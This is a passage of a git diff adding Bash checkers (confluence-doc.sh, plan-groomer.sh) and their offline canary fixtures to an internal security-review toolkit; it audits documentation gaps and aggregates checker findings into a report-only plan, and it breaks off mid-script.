"$page" "missing-runbook" \ + "Required page '$page' is missing from the IT page-ID map" "high" "required-page" \ + "create the '$page' page in the IT space and add it to project_confluence_migration" + fi +done + +# ============================================================================== +# CHECK 4 — LIVE API: mapped pages still exist + are not stale (skipped offline/--no-api/--canary) +# ============================================================================== +if [ "$RUN_API" -eq 1 ]; then + while IFS=$'\t' read -r ptitle pid; do + [ -n "$pid" ] || continue + case "$pid" in ''|*[!0-9]*) note_skip "$ptitle:api(non-numeric-id)"; continue ;; esac + conf_check_page "$ptitle" "$pid" + done < <(jq -r 'to_entries[] | [.key, (.value|tostring)] | @tsv' "$PAGE_MAP_FILE") +else + note_skip "confluence-api:not-run(creds-absent-or-offline)" +fi + +# ============================================================================== +# ASSEMBLE REPORT (JSON + text), mode 600 (identical shape to the other checkers) +# ============================================================================== +if [ "${#GAPS[@]}" -gt 0 ]; then + GAPS_JSON="$(printf '%s\n' "${GAPS[@]}" | jq -cs .)" +else + GAPS_JSON="[]" +fi +if [ "${#SKIPPED_CHECKS[@]}" -gt 0 ]; then + SKIPPED_JSON="$(printf '%s\n' "${SKIPPED_CHECKS[@]}" | jq -R . | jq -cs .)" +else + SKIPPED_JSON="[]" +fi + +N_GAPS="$(echo "$GAPS_JSON" | jq 'length')" +N_HIGH="$(echo "$GAPS_JSON" | jq '[.[]|select(.severity=="high" or .severity=="critical")] | length')" +N_SUBJECTS="$(echo "$GAPS_JSON" | jq '[.[].repo] | unique | length')" + +jq -n \ + --arg checker "confluence-doc" --arg ts "$UTC_STAMP" --arg org "$GH_ORG" \ + --argjson api "$RUN_API" --argjson reposn "${#REPO_NAMES[@]}" \ + --argjson gaps "$GAPS_JSON" --argjson skipped "$SKIPPED_JSON" \ + '{checker:$checker, generated:$ts, org:$org, mode:"recommend-only", + api_checks_ran:($api==1), repos_diffed:$reposn, + gap_count:($gaps|length), + subjects_with_gaps:([$gaps[].repo]|unique|length), + findings:$gaps, skipped_checks:$skipped}' > "$REPORT_JSON" + +{ + echo "confluence-doc — documentation gap report — $UTC_STAMP" + echo "org=$GH_ORG repos_diffed=${#REPO_NAMES[@]} api_checks=$([ "$RUN_API" -eq 1 ] && echo on || echo off) mode=recommend-only (D7)" + echo "doc gaps: $N_GAPS ($N_HIGH high) across $N_SUBJECTS subject(s)" + echo + if [ "$N_GAPS" -gt 0 ]; then + echo "RECOMMENDATIONS (recommend-only — NEVER auto-written, D7):" + echo "$GAPS_JSON" | jq -r '.[] | "• [\(.severity)] \(.repo): \(.title)\n recommend: \(.recommendation)"' + else + echo "No documentation gaps detected this run." + fi + if [ "$(echo "$SKIPPED_JSON" | jq 'length')" -gt 0 ]; then + echo; echo "skipped checks (missing data — NOT counted as a gap):" + echo "$SKIPPED_JSON" | jq -r '.[] | " - \(.)"' + fi +} > "$REPORT_TXT" +chmod 600 "$REPORT_JSON" "$REPORT_TXT" 2>/dev/null || true + +log "report: $REPORT_JSON ($N_GAPS gap(s), $N_SUBJECTS subject(s))" + +# ============================================================================== +# CANARY ASSERTION (anti-complacency floor, design §6.4) +# ============================================================================== +if [ "$CANARY" -eq 1 ]; then + EXPECT_FILE="$HERE/fixtures/confluence-doc/EXPECTED_GAP_COUNT" + [ -f "$EXPECT_FILE" ] || die "canary expected-count file missing: $EXPECT_FILE" + EXPECTED="$(tr -dc '0-9' < "$EXPECT_FILE")" + log "canary assertion: expected gaps=$EXPECTED, got=$N_GAPS" + if [ "$N_GAPS" -ne "$EXPECTED" ]; then + echo "[confluence-doc] CANARY FAIL: doc-gap count mismatch (expected $EXPECTED, got $N_GAPS)" >&2 + echo " -> a gap check regressed (stopped firing) or the fixture changed. See $REPORT_TXT." >&2 + exit 3 + fi + log "canary PASS: all $EXPECTED planted doc gaps detected." +fi + +# ============================================================================== +# RECOMMEND-ONLY ROUTING (D3/D7): gaps live in the mode-600 report. Post NOTHING by default. +# Scheduled mode NEVER auto-writes Confluence; alarming is reserved for confirmed criticals via +# the coordinator's shared routing (kept ALARM-only there). Here, recommend-only = report-only. +# ============================================================================== +if [ "$N_GAPS" -eq 0 ]; then + log "no doc gaps — recommend-only report written; posting NOTHING (D7)." + exit 0 +fi + +# Compose a redacted digest for the report/log (defense-in-depth); do NOT post by default. +DIGEST="$(echo "$GAPS_JSON" | jq -r ' + group_by(.repo)[] | "*\(.[0].repo)*: " + ([.[] | "[\(.severity)] \(.title)"] | join("; "))' \ + | sed 's/^/• /' | redact)" +echo "$DIGEST" >&2 +log "DRY-RUN/RECOMMEND-ONLY: $N_GAPS gap(s) written to the mode-600 report; nothing posted, nothing written to Confluence (D7)." +exit 0 + +# ============================================================================== +# PROVISIONING (NOT DONE HERE — gated): +# - confluence-bot SERVICE ACCOUNT (D6): create a dedicated Atlassian service account scoped +# to EDIT the IT space ONLY (Confluence API tokens inherit the whole user's permissions, so a +# scoped service account bounds blast radius; costs one Confluence seat). Mint its API token, +# store it in ~/secrev.env (mode 600) as CONFLUENCE_API_TOKEN (+ CONFLUENCE_BASE_URL/EMAIL). +# Rotate the token on a 90-DAY cadence. Until this exists, the LIVE API checks SKIP (above), +# never alarm. This whole step is gated (Adam-provisioned), not done by this script. +# - LIVE Confluence READ checks (page-existence + staleness) only run once those creds exist. +# - ON-DEMAND WRITE path (D7) — the actual Confluence update, including Mermaid architecture-map +# edits via ~/.claude/scripts/confluence_mermaid.py — is a SEPARATE, LATER, SSH-invoked path. +# Before any --apply, that script must pass a LIVE DRY-RUN against page 1540098: verify it +# lists all 16 weweave Mermaid macros and that a no-op set produces a clean (empty) revert-diff. +# ADF-only + macro-count + revert-diff guards are load-bearing (a full-body markdown round-trip +# has SILENTLY DELETED every diagram on 1540098 before). This script NEVER calls --apply. +# - No systemd unit / timer is installed here. Wiring the scheduled run (weekly) under the +# coordinator is provisioning and is gated. +# - The coordinator (design §5, checker_coordinator.sh) registers + drives this checker; that +# registry edit is done centrally, NOT in this script. +# - Confluence + project_r720_agent_team memory updates are docs-as-you-go obligations for the +# build session, tracked outside this script. +# ============================================================================== diff --git a/security-review/checkers/fixtures/compliance-drift/BadName_repo/dotenv.fixture b/security-review/checkers/fixtures/compliance-drift/BadName_repo/dotenv.fixture new file mode 100644 index 0000000..4d56164 --- /dev/null +++ b/security-review/checkers/fixtures/compliance-drift/BadName_repo/dotenv.fixture @@ -0,0 +1 @@ +API_KEY=AKIAIOSFODNN7EXAMPLE diff --git a/security-review/checkers/fixtures/compliance-drift/README.md b/security-review/checkers/fixtures/compliance-drift/README.md index ed22725..5c45d1d 100644 --- a/security-review/checkers/fixtures/compliance-drift/README.md +++ b/security-review/checkers/fixtures/compliance-drift/README.md @@ -15,5 +15,14 @@ Fixtures (each a real git checkout so the tracked-`.env` / `ls-files` checks wor Total = **6** (`EXPECTED_DRIFT_COUNT`). The canary pins `DOCS_ONLY_REPOS=docs-repo` and `COMPLIANCE_EXEMPT=""` internally so it is deterministic regardless of the operator's env. +**Secret-fixture naming:** `BadName_repo`'s planted tracked-secret env file is committed as +`dotenv.fixture`, NOT `.env`. The repo's root `.gitignore` lists `.env`, so a literal `.env` +fixture would silently never be committed — on a fresh clone the `secrets-committed` drift would +vanish and the count would drop to 5 (this regression was caught by this very canary). The +`--canary` materialization renames `dotenv.fixture` → `.env` in its temp work area; the +`dotgit/` index already TRACKS `.env`, so `git ls-files` still reports it. This mirrors the +`.fixture`-suffix convention the `dependency-cve` fixtures use for their manifests. Keep any new +committed secret fixture under a non-gitignored name and rename it in the canary. + When you add/remove a check or fixture, update both the fixture and `EXPECTED_DRIFT_COUNT` in the same commit (the canary edit is itself caught on the next run — design §6.4). diff --git a/security-review/checkers/fixtures/confluence-doc/EXPECTED_GAP_COUNT b/security-review/checkers/fixtures/confluence-doc/EXPECTED_GAP_COUNT new file mode 100644 index 0000000..00750ed --- /dev/null +++ b/security-review/checkers/fixtures/confluence-doc/EXPECTED_GAP_COUNT @@ -0,0 +1 @@ +3 diff --git a/security-review/checkers/fixtures/confluence-doc/README.md b/security-review/checkers/fixtures/confluence-doc/README.md new file mode 100644 index 0000000..038fbe5 --- /dev/null +++ b/security-review/checkers/fixtures/confluence-doc/README.md @@ -0,0 +1,47 @@ +# confluence-doc canary fixtures + +Planted doc-gap corpus for `checkers/confluence-doc.sh --canary` (offline, no network/token). +The checker asserts the total doc-gap count equals `EXPECTED_GAP_COUNT` (anti-complacency +floor, design §6.4). If a gap check regresses (stops firing) or the fixture changes, the count +drifts and the canary FAILS (exit 3). + +`--canary` implies `--dry-run + --no-api`, so the LIVE Confluence API checks (page-existence + +staleness, which need the gated `confluence-bot` token, D6) are SKIPPED and noted — they are +never counted as a gap on missing data (memory `feedback_cloudwatch_alarms`). + +## Fixture inputs + +| File | Role | +|---|---| +| `repos.txt` | the repo set to diff against the page-ID map (one repo name per line) | +| `mock-page-map.json` | a MOCK IT page-ID map (same shape as `project_confluence_migration`) | +| `mock-aws-inventory.json` | a MOCK read-only AWS inventory (what the API/collector would return) | + +## The 3 planted gaps + +| Check | Subject | Why it's a gap | +|---|---|---| +| repo-documented | `orphan-tool-repo` | no page in the mock map (and not doc-exempt) | +| aws-documented | `afi-backup-monitor` (Lambda) | inventory resource with no page in the mock map | +| required-page | `IAM & Access Management` | a REQUIRED standing page omitted from the mock map | + +Non-gaps proving the checks are precise (must NOT inflate the count): +- `payments-dashboard`, `seahaven-slack-bot` repos → matched to their pages. +- `engineering-handbook` repo → `DOC_EXEMPT_REPOS` → skipped, not a gap. +- `payments-dashboard` Lambda → matched to the "Payments Dashboard" page. +- `Incident Response Runbooks`, `Backup & Disaster Recovery` required pages → present in the map. +- The LIVE API staleness/existence check → SKIPPED (no creds in canary), noted, not a gap. + +Total = **3** (`EXPECTED_GAP_COUNT`). + +When you add/remove a check, a fixture input, or a planted gap, update the fixture(s) and +`EXPECTED_GAP_COUNT` in the same commit (the canary edit is itself caught on the next run — +design §6.4). + +## Not exercised offline (PROVISIONING — gated) + +The LIVE Confluence reads (and the on-demand WRITE path via +`~/.claude/scripts/confluence_mermaid.py`, including the page-1540098 live dry-run that must list +all 16 weweave Mermaid macros) require the `confluence-bot` service account + token. That account +creation, its 90-day rotation, and the Mermaid live dry-run are provisioning steps documented in +the checker's PROVISIONING footer — they are NOT performed by the canary. diff --git a/security-review/checkers/fixtures/confluence-doc/mock-aws-inventory.json b/security-review/checkers/fixtures/confluence-doc/mock-aws-inventory.json new file mode 100644 index 0000000..017b13f --- /dev/null +++ b/security-review/checkers/fixtures/confluence-doc/mock-aws-inventory.json @@ -0,0 +1,7 @@ +{ + "_comment": "MOCK read-only AWS inventory for confluence-doc.sh --canary. Stands in for what a read-only AWS inventory collector would emit (stacks/Lambdas). Each .resources[] entry is matched (by name token) against the page-ID map. 'payments-dashboard' matches the 'Payments Dashboard' page (no gap); 'afi-backup-monitor' has no page (1 planted gap).", + "resources": [ + { "type": "Lambda", "name": "payments-dashboard", "stack": "payments-dashboard" }, + { "type": "Lambda", "name": "afi-backup-monitor", "stack": "afi-backup-monitor" } + ] +} diff --git a/security-review/checkers/fixtures/confluence-doc/mock-page-map.json b/security-review/checkers/fixtures/confluence-doc/mock-page-map.json new file mode 100644 index 0000000..e3b84aa --- /dev/null +++ b/security-review/checkers/fixtures/confluence-doc/mock-page-map.json @@ -0,0 +1,9 @@ +{ + "_comment": "MOCK IT page-ID map for confluence-doc.sh --canary. Shape matches the real project_confluence_migration export: {\"\": }. Deliberately OMITS 'IAM & Access Management' (a REQUIRED page) and any page for 'orphan-tool-repo' / the 'afi-backup-monitor' Lambda, so the canary plants exactly 3 gaps. No live IDs are hardcoded into the checker — they live here.", + "AWS Cloud Infrastructure": 917505, + "AWS Architecture Map": 1540098, + "Payments Dashboard": 524602, + "Seahaven Slack Bot": 819202, + "Incident Response Runbooks": 1179652, + "Backup & Disaster Recovery": 1867778 +} diff --git a/security-review/checkers/fixtures/confluence-doc/repos.txt b/security-review/checkers/fixtures/confluence-doc/repos.txt new file mode 100644 index 0000000..009cb45 --- /dev/null +++ b/security-review/checkers/fixtures/confluence-doc/repos.txt @@ -0,0 +1,4 @@ +payments-dashboard +seahaven-slack-bot +engineering-handbook +orphan-tool-repo diff --git a/security-review/checkers/fixtures/plan-groomer/EXPECTED_PLAN_ITEMS b/security-review/checkers/fixtures/plan-groomer/EXPECTED_PLAN_ITEMS new file mode 100644 index 0000000..7ed6ff8 --- /dev/null +++ b/security-review/checkers/fixtures/plan-groomer/EXPECTED_PLAN_ITEMS @@ -0,0 +1 @@ +5 diff --git a/security-review/checkers/fixtures/plan-groomer/README.md b/security-review/checkers/fixtures/plan-groomer/README.md new file mode 100644 index 0000000..646b045 --- /dev/null +++ b/security-review/checkers/fixtures/plan-groomer/README.md @@ -0,0 +1,39 @@ +# plan-groomer canary fixtures + +Sample sibling-checker reports for `checkers/plan-groomer.sh --canary` (offline, no network/ +token). The planner asserts the groomed-plan **item count** equals `EXPECTED_PLAN_ITEMS` +(anti-complacency floor, design §6.4). If aggregation or dedup regresses, the count drifts +and the canary FAILS (exit 3). + +## How the canary works + +`--canary` points `$REPORT_ROOT_BASE` at `sample-reports/` and writes the groomed plan into a +mode-700 temp dir (so the canary writes nothing under `$HOME`). It reads each source checker's +**latest** `/.json`, normalizes every `.findings[]` into a plan item +`{repo, severity, source, title, action}`, **dedupes** on `repo|source|title`, prioritizes by +severity, and writes the plan into the mode-600 report. + +These are plain report JSON files (no `dotgit/` trick needed — plan-groomer reads sibling +reports, it does not scan git checkouts). + +## Fixture report set + +| Source checker | Date dir | Findings | Contributes to plan | +|---|---|---|---| +| `compliance-drift` | `2026-06-10` (OLD) | 1 | **0** — sentinel: older date MUST be skipped (latest-date selection) | +| `compliance-drift` | `2026-06-17` (latest) | 3 | **2** — two of the three are an exact duplicate (`payments-dashboard` / README) that must dedup to one | +| `dependency-cve` | `2026-06-17` | 2 | **2** — `jinja2` (high) + `lodash` (critical) | +| `doc-drift` | `2026-06-17` | 1 | **1** — stale README arch section | +| `confluence-doc` | (none) | — | **0** — no report present; noted in `missing_sources`, NEVER invented as work | + +Total groomed plan items = **5** (`EXPECTED_PLAN_ITEMS`). + +This exercises four invariants in one run: +1. **latest-date selection** — the `2026-06-10` sentinel must not leak into the plan. +2. **dedup** — the duplicate README finding collapses to one item. +3. **multi-source aggregation** — three different checkers feed one prioritized plan. +4. **no-data discipline** — a missing source (`confluence-doc`) is noted, never fabricated. + +When you add/remove a source checker, a fixture report, or a finding, update the fixture(s) +and `EXPECTED_PLAN_ITEMS` in the same commit (the canary edit is itself caught on the next run +— design §6.4). diff --git a/security-review/checkers/fixtures/plan-groomer/sample-reports/compliance-drift/2026-06-10/compliance-drift.json b/security-review/checkers/fixtures/plan-groomer/sample-reports/compliance-drift/2026-06-10/compliance-drift.json new file mode 100644 index 0000000..d9be0df --- /dev/null +++ b/security-review/checkers/fixtures/plan-groomer/sample-reports/compliance-drift/2026-06-10/compliance-drift.json @@ -0,0 +1,22 @@ +{ + "checker": "compliance-drift", + "generated": "2026-06-10T03:00:00Z", + "org": "Sea-Haven-Industries", + "api_checks_ran": false, + "repos_scanned": 1, + "drift_count": 1, + "repos_with_drift": 1, + "findings": [ + { + "repo": "STALE-repo-should-be-ignored", + "id": "STALE-repo-should-be-ignored-naming-repo", + "title": "This finding is from an OLDER date and MUST NOT appear in the groomed plan", + "severity": "high", + "category": "other", + "check": "naming-repo", + "status": "confirmed", + "proof": {"outcome": "older-date sentinel: latest-date selection must skip this"} + } + ], + "skipped_checks": [] +} diff --git a/security-review/checkers/fixtures/plan-groomer/sample-reports/compliance-drift/2026-06-17/compliance-drift.json b/security-review/checkers/fixtures/plan-groomer/sample-reports/compliance-drift/2026-06-17/compliance-drift.json new file mode 100644 index 0000000..e797ee0 --- /dev/null +++ b/security-review/checkers/fixtures/plan-groomer/sample-reports/compliance-drift/2026-06-17/compliance-drift.json @@ -0,0 +1,42 @@ +{ + "checker": "compliance-drift", + "generated": "2026-06-17T03:00:00Z", + "org": "Sea-Haven-Industries", + "api_checks_ran": false, + "repos_scanned": 2, + "drift_count": 3, + "repos_with_drift": 2, + "findings": [ + { + "repo": "payments-dashboard", + "id": "payments-dashboard-readme-missing", + "title": "No README.md at repo root", + "severity": "high", + "category": "other", + "check": "readme-present", + "status": "confirmed", + "proof": {"outcome": "global CLAUDE.md / github-standards.md: every repo must have a README"} + }, + { + "repo": "payments-dashboard", + "id": "payments-dashboard-readme-missing-dup", + "title": "No README.md at repo root", + "severity": "high", + "category": "other", + "check": "readme-present", + "status": "confirmed", + "proof": {"outcome": "DUPLICATE of the row above (same repo+source+title) — must dedup to one plan item"} + }, + { + "repo": "slack-bot", + "id": "slack-bot-merge-automerge-off", + "title": "allow_auto_merge disabled", + "severity": "low", + "category": "other", + "check": "merge-settings", + "status": "confirmed", + "proof": {"outcome": "github-standards.md: enable auto-merge (allow_auto_merge)"} + } + ], + "skipped_checks": [] +} diff --git a/security-review/checkers/fixtures/plan-groomer/sample-reports/dependency-cve/2026-06-17/dependency-cve.json b/security-review/checkers/fixtures/plan-groomer/sample-reports/dependency-cve/2026-06-17/dependency-cve.json new file mode 100644 index 0000000..1c55f40 --- /dev/null +++ b/security-review/checkers/fixtures/plan-groomer/sample-reports/dependency-cve/2026-06-17/dependency-cve.json @@ -0,0 +1,32 @@ +{ + "checker": "dependency-cve", + "generated": "2026-06-17T03:05:00Z", + "org": "Sea-Haven-Industries", + "advisory_mode": "offline", + "repos_scanned": 2, + "vuln_count": 2, + "repos_with_vulns": 2, + "findings": [ + { + "repo": "payments-dashboard", + "id": "payments-dashboard-vuln-jinja2-2-11-2-GHSA-g3rq-g295-4j3m", + "title": "jinja2 2.11.2 is vulnerable (GHSA-g3rq-g295-4j3m)", + "severity": "high", + "category": "other", + "check": "vulnerable-dependency", + "status": "confirmed", + "proof": {"package": "jinja2", "version": "2.11.2", "advisory_id": "GHSA-g3rq-g295-4j3m", "summary": "Jinja2 ReDoS in the urlize filter", "fixed_version": "2.11.3"} + }, + { + "repo": "slack-bot", + "id": "slack-bot-vuln-lodash-4-17-15-GHSA-p6mc-m468-83gw", + "title": "lodash 4.17.15 is vulnerable (GHSA-p6mc-m468-83gw)", + "severity": "critical", + "category": "other", + "check": "vulnerable-dependency", + "status": "confirmed", + "proof": {"package": "lodash", "version": "4.17.15", "advisory_id": "GHSA-p6mc-m468-83gw", "summary": "Prototype pollution in lodash", "fixed_version": "4.17.19"} + } + ], + "skipped_checks": [] +} diff --git a/security-review/checkers/fixtures/plan-groomer/sample-reports/doc-drift/2026-06-17/doc-drift.json b/security-review/checkers/fixtures/plan-groomer/sample-reports/doc-drift/2026-06-17/doc-drift.json new file mode 100644 index 0000000..ac35d52 --- /dev/null +++ b/security-review/checkers/fixtures/plan-groomer/sample-reports/doc-drift/2026-06-17/doc-drift.json @@ -0,0 +1,21 @@ +{ + "checker": "doc-drift", + "generated": "2026-06-17T03:10:00Z", + "org": "Sea-Haven-Industries", + "repos_scanned": 1, + "drift_count": 1, + "repos_with_drift": 1, + "findings": [ + { + "repo": "payments-dashboard", + "id": "payments-dashboard-readme-stale-arch", + "title": "README architecture section predates the new Lambda; docs lag code", + "severity": "medium", + "category": "other", + "check": "readme-stale", + "status": "confirmed", + "proof": {"outcome": "git log shows handler change after the README's last edit"} + } + ], + "skipped_checks": [] +} diff --git a/security-review/checkers/plan-groomer.sh b/security-review/checkers/plan-groomer.sh new file mode 100755 index 0000000..996afdf --- /dev/null +++ b/security-review/checkers/plan-groomer.sh @@ -0,0 +1,316 @@ +#!/usr/bin/env bash +# plan-groomer.sh — Plane-1 planner for the R720 agent-team (REPORT-ONLY). +# +# Design refs: docs/r720-agent-team-design.md §4 (planner roster: plan-groomer — +# "Drafts a groomed weekly plan INTO the mode-600 report for now (D3); auto-write to +# Notion/Jira is a later toggle once trusted") and §7 Phase 4 ("planner + confluence-doc"). +# This mirrors compliance-drift.sh / dependency-cve.sh conventions VERBATIM so the +# coordinator (§5) can drive it identically — BUT its output discipline is different: +# it is REPORT-ONLY, not ALARM-only. +# +# WHAT IT DOES (read-only): +# Aggregates the actionable items the OTHER Plane-1 checkers already produced into a +# single prioritized "groomed weekly plan". It does NOT re-scan repos or hit any network: +# it reads the LATEST per-checker JSON reports under $REPORT_ROOT_BASE///. +# Sources consumed (each optional — a missing checker is noted, never invented as work): +# compliance-drift//compliance-drift.json (.findings[]) +# dependency-cve//dependency-cve.json (.findings[]) +# doc-drift//doc-drift.json (.findings[], if Phase-3 doc-drift exists) +# confluence-doc//confluence-doc.json (.findings[], the Phase-4 sibling) +# Each finding is normalized to a plan item {repo, severity, source, title, action}, +# DEDUPED (same repo+source+title collapses), grouped by severity then repo, and written +# into a prioritized plan in the mode-600 report (JSON + human text). +# +# REPORTING (D3 — REPORT-ONLY, the key difference from the ALARM-only checkers): +# - Writes a per-run JSON + text report under $REPORT_ROOT//, mode 600 (umask 077). +# - Slack: posts NOTHING by default. A groomed plan is a digest, not an alarm — auto-write +# to Notion/Jira (or a Slack digest) is a later toggle once signal quality is trusted (D3). +# There is intentionally NO post_slack_alarm() call in the default path; --notify is a +# future seam left inert here. A clean week (zero items) still writes an (empty) plan. +# - Reuses the substrate's redact() for the in-report digest string (defense-in-depth). +# +# SUBSTRATE REUSE (lib/sweep_substrate.sh, sourced — bash dynamic scoping): +# redact -> mask any secret-shaped value that leaked into an upstream report title. +# (discover_repos/mirror_repo/post_slack_alarm are intentionally NOT used: plan-groomer +# neither clones nor alarms — it only reads sibling reports and writes one mode-600 plan.) +# +# CANARY / DRY-RUN (offline, no network, no token): +# --canary points $REPORT_ROOT_BASE at a fixture set of sample checker reports +# (checkers/fixtures/plan-groomer/sample-reports///.json) and asserts +# the groomed-plan ITEM COUNT equals EXPECTED_PLAN_ITEMS (anti-complacency floor, design §6.4). +# If aggregation/dedup regresses, the count drifts and the canary FAILS (exit 3). --canary +# implies --dry-run. Fully offline + deterministic. --dry-run also suppresses the (inert) +# --notify seam. +# +# SCOPE / SAFETY: +# Read-only. No network, no token, no clones, no agent_team/ writes, no systemd wiring — +# that is provisioning (gated). See "PROVISIONING (NOT DONE HERE)" at the bottom. +# +# Exit: 0 = ran (always, report-only); 2 = setup/usage error; 3 = canary assertion FAILED. +set -euo pipefail +export PATH="$HOME/.local/bin:/opt/homebrew/bin:/usr/local/bin:$PATH" + +log() { echo "[plan-groomer] $*" >&2; } +die() { echo "[plan-groomer] FATAL: $*" >&2; exit 2; } + +# --- Shared substrate --------------------------------------------------------- +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SUBSTRATE="$HERE/../lib/sweep_substrate.sh" +[ -f "$SUBSTRATE" ] || die "shared substrate not found: $SUBSTRATE" +# shellcheck source=../lib/sweep_substrate.sh +. "$SUBSTRATE" + +# --- Config + defaults (env, all optional) ------------------------------------ +GH_ORG="${GH_ORG:-Sea-Haven-Industries}" +# Base under which each checker writes its own // report tree (the parent of +# the per-checker REPORT_ROOTs the other checkers default to: $HOME/sweep-reports). +REPORT_ROOT_BASE="${REPORT_ROOT_BASE:-$HOME/sweep-reports}" +# plan-groomer's OWN report tree (separate from the checkers it reads). +REPORT_ROOT="${REPORT_ROOT:-$HOME/sweep-reports/plan-groomer}" +# Which sibling checkers to aggregate (space-separated; missing ones are noted, never invented). +SOURCE_CHECKERS="${SOURCE_CHECKERS:-compliance-drift dependency-cve doc-drift confluence-doc}" + +DRY_RUN=0 # --dry-run: suppress the (inert) --notify seam (report still written). +CANARY=0 # --canary: read the fixture report set + assert the known plan-item count. +NOTIFY=0 # --notify: INERT future seam (post the digest somewhere). Off by default (D3). +TARGETS_OVERRIDE="" # --targets "a b": restrict the groomed plan to these repo names only. + +usage() { + cat >&2 </dev/null || die "jq is required" + +# --- Report dir (mode 600 reports; matches sweep conventions) ----------------- +umask 077 +UTC_DATE="$(date -u +%Y-%m-%d)" +UTC_STAMP="$(date -u +%Y-%m-%dT%H:%M:%SZ)" + +# Canary redirects the SOURCE base at the fixture report set; output stays in a temp area so +# the canary writes nothing under $HOME. +if [ "$CANARY" -eq 1 ]; then + FIXTURE_ROOT="$HERE/fixtures/plan-groomer" + [ -d "$FIXTURE_ROOT/sample-reports" ] || die "canary fixture missing: $FIXTURE_ROOT/sample-reports" + REPORT_ROOT_BASE="$FIXTURE_ROOT/sample-reports" + CANARY_OUT="$(mktemp -d "${TMPDIR:-/tmp}/plan-groomer-canary.XXXXXX")" + trap 'rm -rf "$CANARY_OUT"' EXIT + REPORT_ROOT="$CANARY_OUT/plan-groomer" + # Pin the source list the fixtures were authored against (deterministic regardless of env). + SOURCE_CHECKERS="compliance-drift dependency-cve doc-drift confluence-doc" +fi + +REPORT_DIR="$REPORT_ROOT/$UTC_DATE" +mkdir -p "$REPORT_DIR"; chmod 700 "$REPORT_ROOT" "$REPORT_DIR" 2>/dev/null || true +# shellcheck disable=SC2034 # named for parity with the ALARM-only checkers' substrate contract +SWEEP_LOG="$REPORT_DIR/plan-groomer.log" +REPORT_JSON="$REPORT_DIR/plan-groomer.json" +REPORT_TXT="$REPORT_DIR/plan-groomer.txt" + +log "=== plan-groomer $UTC_STAMP (canary=$CANARY dry_run=$DRY_RUN notify=$NOTIFY) ===" + +# ------------------------------------------------------------------------------ +# Severity ordering: the jq sort below maps severity->rank; no shell helper needed. +# ------------------------------------------------------------------------------ +in_csv() { # needle space-list -> 0 if present + local n="$1" list="$2" t; for t in $list; do [ "$t" = "$n" ] && return 0; done; return 1 +} + +# --- Resolve the LATEST date dir for one checker under $REPORT_ROOT_BASE ------- +latest_report_json() { # checker_name -> path to its latest /.json, or "" if none + local checker="$1" + local base="$REPORT_ROOT_BASE/$checker" d name latest="" + [ -d "$base" ] || { echo ""; return 0; } + # Date dirs are YYYY-MM-DD; lexical sort == chronological. Glob the dirs, keep only + # YYYY-MM-DD names, sort newest-first, pick the newest that actually has the JSON. + for d in $(for p in "$base"/*/; do + [ -d "$p" ] || continue + name="$(basename "$p")" + [[ "$name" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]] && echo "$name" + done | sort -r); do + if [ -f "$base/$d/$checker.json" ]; then latest="$base/$d/$checker.json"; break; fi + done + echo "$latest" +} + +# ============================================================================== +# AGGREGATE: pull findings from each sibling checker's latest report into plan items. +# ============================================================================== +declare -a PLAN_ITEMS=() # one normalized JSON plan-item per upstream finding +declare -a MISSING_SOURCES=() # checkers with no report found — noted, NEVER invented as work +note_missing() { MISSING_SOURCES+=( "$1" ); } + +for checker in $SOURCE_CHECKERS; do + rj="$(latest_report_json "$checker")" + if [ -z "$rj" ]; then + note_missing "$checker(no-report-found)" + log " [$checker] no report under $REPORT_ROOT_BASE/$checker — skipped (not invented as work)" + continue + fi + if ! jq -e '.findings | type=="array"' "$rj" >/dev/null 2>&1; then + note_missing "$checker(report-unparseable)" + log " [$checker] report $rj has no .findings[] array — skipped" + continue + fi + cnt="$(jq '.findings | length' "$rj")" + log " [$checker] $rj -> $cnt finding(s)" + # Normalize each finding to a plan item. Title/severity/repo come straight off the finding + # schema the checkers emit (see finding.schema.json spirit). The "action" is a stable, + # source-derived hint (no fabrication — it just labels what kind of remediation this is). + while IFS= read -r item; do + [ -n "$item" ] && PLAN_ITEMS+=( "$item" ) + done < <(jq -c --arg src "$checker" ' + .findings[] + | { repo: (.repo // "unknown"), + severity: (.severity // "medium"), + source: $src, + title: (.title // .id // "untitled"), + action: ( if $src=="dependency-cve" then "upgrade vulnerable dependency" + elif $src=="compliance-drift" then "fix convention drift" + elif $src=="doc-drift" then "reconcile docs with code" + elif $src=="confluence-doc" then "close documentation gap" + else "review finding" end ) } + ' "$rj") +done + +# --- Optional repo-scope restriction (--targets) ------------------------------ +if [ -n "$TARGETS_OVERRIDE" ] && [ "${#PLAN_ITEMS[@]}" -gt 0 ]; then + declare -a FILTERED=() + for item in "${PLAN_ITEMS[@]}"; do + r="$(echo "$item" | jq -r '.repo')" + in_csv "$r" "$TARGETS_OVERRIDE" && FILTERED+=( "$item" ) + done + PLAN_ITEMS=( "${FILTERED[@]+"${FILTERED[@]}"}" ) + log "targets filter '$TARGETS_OVERRIDE' -> ${#PLAN_ITEMS[@]} item(s)" +fi + +# ============================================================================== +# DEDUP + PRIORITIZE: collapse identical (repo|source|title), then sort by severity desc, +# then repo, then source. Add a stable rank int so downstream consumers can re-sort. +# ============================================================================== +if [ "${#PLAN_ITEMS[@]}" -gt 0 ]; then + RAW_JSON="$(printf '%s\n' "${PLAN_ITEMS[@]}" | jq -cs .)" +else + RAW_JSON="[]" +fi + +GROOMED_JSON="$(echo "$RAW_JSON" | jq -c ' + # dedup on repo|source|title + ( reduce .[] as $x ({}; .[($x.repo+"|"+$x.source+"|"+$x.title)] //= $x) ) | [ .[] ] + | map(. + { rank: ( {critical:4, high:3, medium:2, low:1}[.severity] // 0 ) }) + | sort_by([ (-.rank), .repo, .source, .title ]) +')" + +N_ITEMS="$(echo "$GROOMED_JSON" | jq 'length')" +N_CRIT_HIGH="$(echo "$GROOMED_JSON" | jq '[.[]|select(.severity=="critical" or .severity=="high")]|length')" +N_REPOS="$(echo "$GROOMED_JSON" | jq '[.[].repo]|unique|length')" + +if [ "${#MISSING_SOURCES[@]}" -gt 0 ]; then + MISSING_JSON="$(printf '%s\n' "${MISSING_SOURCES[@]}" | jq -R . | jq -cs .)" +else + MISSING_JSON="[]" +fi + +# ============================================================================== +# ASSEMBLE REPORT (JSON + text), mode 600 +# ============================================================================== +jq -n \ + --arg planner "plan-groomer" --arg ts "$UTC_STAMP" --arg org "$GH_ORG" \ + --arg sources "$SOURCE_CHECKERS" \ + --argjson items "$GROOMED_JSON" --argjson missing "$MISSING_JSON" \ + '{planner:$planner, generated:$ts, org:$org, 